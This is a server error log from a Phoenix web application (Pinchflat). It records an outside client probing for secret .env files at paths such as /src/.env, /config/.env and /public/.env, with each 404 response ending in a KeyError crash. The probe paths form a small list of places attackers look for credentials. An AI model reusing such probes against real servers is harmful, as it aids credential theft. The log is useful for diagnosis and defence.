{:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49546}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49546}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3214.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:39.959 [info] GET /src/config/.env 21:08:39.959 [debug] QUERY OK source="settings" db=0.1ms idle=55.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.959 [debug] QUERY OK source="settings" db=0.0ms idle=47.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.960 [error] #PID<0.3216.0> running PinchflatWeb.Endpoint (connection #PID<0.3215.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /src/config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3215.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49550}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3216.0>, params: %{}, path_info: ["src", "config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/src/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-f86i2-0RzgAAOMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3215.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49550}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3215.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49550}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3216.0>, params: %{}, path_info: ["src", "config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", (truncated) 21:08:40.039 [info] GET /public/.env 21:08:40.040 [debug] QUERY OK source="settings" db=0.1ms idle=127.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.040 [debug] QUERY OK source="settings" db=0.0ms idle=96.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.040 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.040 [error] #PID<0.3218.0> running PinchflatWeb.Endpoint (connection #PID<0.3217.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3217.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3218.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-gQHRRQ2ZjYAAOOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3217.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3217.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3218.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:40.082 [info] GET /config/.env 21:08:40.083 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=138.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.083 [debug] QUERY OK source="settings" db=0.1ms idle=123.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.083 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.084 [error] #PID<0.3220.0> running PinchflatWeb.Endpoint (connection #PID<0.3219.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3219.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49564}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3220.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-gaQXOeS-G4AAOQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3219.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49564}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3219.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49564}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3220.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:40.142 [info] GET /portal/.env 21:08:40.143 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=182.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.143 [debug] QUERY OK source="settings" db=0.2ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.143 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.144 [error] #PID<0.3222.0> running PinchflatWeb.Endpoint (connection #PID<0.3221.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /portal/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3221.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3222.0>, params: %{}, path_info: ["portal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, 